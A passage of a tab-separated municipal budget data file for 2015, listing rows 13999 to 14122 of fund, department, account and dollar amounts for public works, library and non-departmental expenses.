13999	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2015	16850.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16850.0
14000	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2015	4027.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4027.0
14001	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	4902.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4902.0
14002	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2015	2130.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2130.0
14003	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2015	301764.0	0	0	0	0	0	0.0	0	0	0	0	0.0	301764.0
14004	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
14005	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522920.0	VEHICLES - REPAIRS	808.0	 Supplies and Expenses	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
14006	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2015	10000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10000.0
14007	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2015	153200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	153200.0
14008	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588200.0	BLDG RENOVATION / MAINTENANCE	808.0	 Supplies and Expenses	2015	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
14009	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
14010	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
14011	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511490.0	OVERTIME	808.0	Salaries and Wages	2015	10188.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10188.0
14012	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2015	20091.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20091.0
14013	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533020.0	GENERAL LIABILITY / AUTO	812.0	 Supplies and Expenses	2015	68913.0	0	0	0	0	0	0.0	0	0	0	0	0.0	68913.0
14014	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	4750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4750.0
14015	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	1405.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1405.0
14016	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14017	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	9795.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9795.0
14018	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	95.0	0	0	0	0	0	0.0	0	0	0	0	0.0	95.0
14019	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544170.0	UNIF/PROTECIVE CLOTHING	812.0	 Supplies and Expenses	2015	6200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6200.0
14020	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555190.0	CORPORATE LIBRARY SYSTEMS	812.0	 Supplies and Expenses	2015	13200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13200.0
14021	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2015	63414.0	0	0	0	0	0	0.0	0	0	0	0	0.0	63414.0
14022	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511000.0	PERMANENT EMPLOYEES	812.0	Salaries and Wages	2015	1639524.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1639524.0
14023	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	6577.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6577.0
14024	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	8000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8000.0
14025	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	510000.0	SALARIES AND WAGES	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14026	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	520000.0	SUPPLIES AND EXPENSES	808.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14027	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	13227.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13227.0
14028	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2015	18556.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18556.0
14029	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	24720.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24720.0
14030	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2015	197901.0	0	0	0	0	0	0.0	0	0	0	0	0.0	197901.0
14031	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	115800.0	0	0	0	0	0	0.0	0	0	0	0	0.0	115800.0
14032	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	2437218.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2437218.0
14033	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2015	38500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38500.0
14034	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	20714.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20714.0
14035	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2015	325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	325.0
14036	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	65000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	65000.0
14037	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2015	41150.0	0	0	0	0	0	0.0	0	0	0	0	0.0	41150.0
14038	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2015	92571.0	0	0	0	0	0	0.0	0	0	0	0	0.0	92571.0
14039	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522120.0	UTILITIES - NATURAL GAS	850.0	 Supplies and Expenses	2015	2000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2000.0
14040	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	5890.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5890.0
14041	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	1330.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1330.0
14042	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	45280.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45280.0
14043	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2015	1000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1000.0
14044	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	1500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1500.0
14045	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2015	5561884.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5561884.0
14046	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
14047	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2015	1158670.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1158670.0
14048	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2015	666368.0	0	0	0	0	0	0.0	0	0	0	0	0.0	666368.0
14049	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2015	18000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18000.0
14050	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555070.0	RECYCLING/DISPOSAL FEES	808.0	 Supplies and Expenses	2015	3920000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3920000.0
14051	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	285.0	0	0	0	0	0	0.0	0	0	0	0	0.0	285.0
14052	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2015	1505.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1505.0
14053	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544110.0	PRINTED FORMS	812.0	 Supplies and Expenses	2015	2755.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2755.0
14054	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555210.0	TRAINING	812.0	 Supplies and Expenses	2015	15000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15000.0
14055	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2015	284345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	284345.0
14056	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2015	81100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	81100.0
14057	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	400750.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-100000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-100000.0
14058	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-150000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-150000.0
14059	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400680.0	AMBULANCE FEES	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14060	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	10510.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10510.0
14061	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	810.0	 Supplies and Expenses	2015	18021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18021.0
14062	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522540.0	ADVERTISING		 Supplies and Expenses	2015	74000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	74000.0
14063	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522950.0	CNG FUEL		 Supplies and Expenses	2015	348000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	348000.0
14064	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	566450.0	SEWAGE PUMP PLANT MAINT		 Supplies and Expenses	2015	381750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	381750.0
14065	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2015	2279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2279.0
14066	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2015	110327.0	0	0	0	0	0	0.0	0	0	0	0	0.0	110327.0
14067	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2015	259590.0	0	0	0	0	0	0.0	0	0	0	0	0.0	259590.0
14068	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2015	15270.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15270.0
14069	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2015	517845.0	0	0	0	0	0	0.0	0	0	0	0	0.0	517845.0
14070	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566220.0	CONVENTION / VISITORS	816.0	 Supplies and Expenses	2015	2591198.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2591198.0
14071	BA	IS	31	Wastewater Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2015	994675.0	0	0	0	0	0	0.0	0	0	0	0	0.0	994675.0
14072	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2015	9135.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9135.0
14073	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522910.0	VEHICLES - FUELS / LUBRICATION	848.0	 Supplies and Expenses	2015	33326.0	0	0	0	0	0	0.0	0	0	0	0	0.0	33326.0
14074	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522940.0	VEHICLES - INSURANCE	854.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14075	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533120.0	SPECIAL EQUIP MAINT	846.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14076	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522820.0	CONFERENCES/MEETINGS/TRAVEL	848.0	 Supplies and Expenses	2015	16108.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16108.0
14077	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555700.0	REGULATORY AGENCY FEES	866.0	 Supplies and Expenses	2015	111980.0	0	0	0	0	0	0.0	0	0	0	0	0.0	111980.0
14078	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	544390.0	OTHER COSTS	820.0	 Supplies and Expenses	2015	40000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40000.0
14079	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	555300.0	LIBRARY BOND DEBT SERVICE	910.0	 Supplies and Expenses	2015	1433050.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1433050.0
14080	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EAP	804.0	Salaries and Wages	2015	1562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1562.0
14081	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2015	-220169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-220169.0
14082	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV	908.0	 Supplies and Expenses	2015	-85000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-85000.0
14083	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	544240.0	PROP C REIMBURSEMENT	910.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
14084	BA	IS	20	Miscellaneous Grants Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	910.0	 Supplies and Expenses	2015	80455.0	0	0	0	0	0	0.0	0	0	0	0	0.0	80455.0
14085	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	555660.0	ENVIRONMENTAL REIMBURSEMENT		 Supplies and Expenses	2015	738583.0	0	0	0	0	0	0.0	0	0	0	0	0.0	738583.0
14086	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522050.0	MEDICAL EXAMS	862.0	 Supplies and Expenses	2015	25000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25000.0
14087	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522010.0	PAYMENT OF CLAIMS	856.0	 Supplies and Expenses	2015	7600000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7600000.0
14088	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	910.0	 Supplies and Expenses	2015	1437545.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1437545.0
14089	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	43143.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43143.0
14090	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	22230.0	0	0	0	0	0	0.0	0	0	0	0	0.0	22230.0
14091	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2015	335000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	335000.0
14092	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2015	1657.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1657.0
14093	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2015	15654.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15654.0
14094	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555220.0	UNIFORM RENTAL	808.0	 Supplies and Expenses	2015	1600.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1600.0
14095	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2015	8602.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8602.0
14096	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2015	466594.0	0	0	0	0	0	0.0	0	0	0	0	0.0	466594.0
14097	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	555060.0	PROFESSIONAL SERVICES	844.0	 Supplies and Expenses	2015	76350.0	0	0	0	0	0	0.0	0	0	0	0	0.0	76350.0
14098	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2015	3871912.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3871912.0
14099	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522620.0	RENT	866.0	 Supplies and Expenses	2015	103836.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103836.0
14100	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	544010.0	SPEC DEPT SUPPLIES	848.0	 Supplies and Expenses	2015	1068900.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1068900.0
14101	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577170.0	GAS TAXES REIMBURSEMENT	908.0	 Supplies and Expenses	2015	-1959004.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1959004.0
14102	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578300.0	SUPPORTIVE HOUSING PROGRAM	908.0	 Supplies and Expenses	2015	-80455.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-80455.0
14103	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC		 Supplies and Expenses	2015	-31687.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-31687.0
14104	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2015	250000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	250000.0
14105	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	401330.0	MALL / DOWNTOWN MAINT DISTRICT	622.0	Other	2015	-16000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-16000.0
14106	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	405060.0	ENGINEERING COUNTER SALES	612.0	Charges for Service	2015	-6682.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-6682.0
14107	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401600.0	LIBRARY FINES	614.0	Fines and Forfeitures	2015	-231500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-231500.0
14108	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522820.0	CONFERENCES/MEETINGS/TRAVEL	816.0	 Supplies and Expenses	2015	9849.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9849.0
14109	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	555180.0	PHOTOGRAPHIC EXPENSE	810.0	 Supplies and Expenses	2015	204.0	0	0	0	0	0	0.0	0	0	0	0	0.0	204.0
14110	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522950.0	CNG FUEL		 Supplies and Expenses	2015	37243.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37243.0
14111	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	577230.0	FISCAL AGENT FEES		 Supplies and Expenses	2015	5345.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5345.0
14112	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	49138.0	0	0	0	0	0	0.0	0	0	0	0	0.0	49138.0
14113	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2015	400910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	400910.0
14114	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
14115	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2015	16000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16000.0
14116	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544050.0	CEMENT / SAND / GRAVEL	808.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
14117	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2015	1552988.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1552988.0
14118	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2015	12835.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12835.0
14119	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	522620.0	RENT	866.0	 Supplies and Expenses	2015	103836.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103836.0
14120	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2015	24766.0	0	0	0	0	0	0.0	0	0	0	0	0.0	24766.0
14121	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2015	194727.0	0	0	0	0	0	0.0	0	0	0	0	0.0	194727.0
14122	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555010.0	CONTRACTUAL SERVICES	844.0	 Supplies and Expenses	2015	407200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	407200.0
